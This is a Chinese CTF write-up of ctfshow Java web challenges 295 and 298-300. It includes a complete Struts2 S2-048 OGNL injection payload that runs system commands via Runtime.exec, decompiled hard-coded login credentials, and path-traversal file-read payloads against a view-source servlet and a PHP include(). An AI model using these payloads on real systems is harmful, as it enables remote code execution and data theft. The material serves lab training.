> 文章列表 > ctfshow web入门 java 295 298-300

ctfshow web入门 java 295 298-300

ctfshow web入门 java 295 298-300

其他没啥好讲的,都是工具就通杀了

web295

漏洞地址 http://ip/S2-048/integration/saveGangster.action

 

这里我们可以看到他是解析了

 

尝试使用网上的payload

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}

这里我们发现,他是解析了Runtime的,然后我们就可以利用它里面的方法执行命令

 

//这里我们无论是env,还是cat /proc/self/environ都有报错
payload:%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('env').getInputStream())).(#q)}

但是报错中的这个就是flag

web298

这里给我们了一个jar,打包好了的包,这里我们使用一些反编译工具查看一下

在loginServlet类中,我们看到这里经过这么判断才能获得flag,跟踪一下看看。

这里看到getVipStatus方法,获得了获取flag的条件就是user等于admin,password等于ctfshow

但是题目一进去就一个报错,看这里软件包里面有ctfshow,尝试一下目录ctfshow

得到提示通过login,传参username和password

 

payload:/ctfshow/login?username=admin&password=ctfshow

web299

查看源代码获得提示,这里可能存在任意文件读取,我们首先查看index.jsp,这里发现存在任意文件读取,这里我们继续读取WEB-INF/web.xml

 

这里我们看到,这里有一个软件包中有一个GetFlag类,这里我们去读取WEB-INF/classes/com/ctfshow/servlet/GetFlag.class去

 虽然很乱,但是在这里发现了flag

payload: /view-source?file=../../../../../../fl3g

web300

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 10:52:43
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 10:54:20
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/if(isset($_GET['file'])){$file = $_GET['file'];include($file);
}else{highlight_file(__FILE__);
} 

和上面差不多

payload: ?file=../../../../../f1bg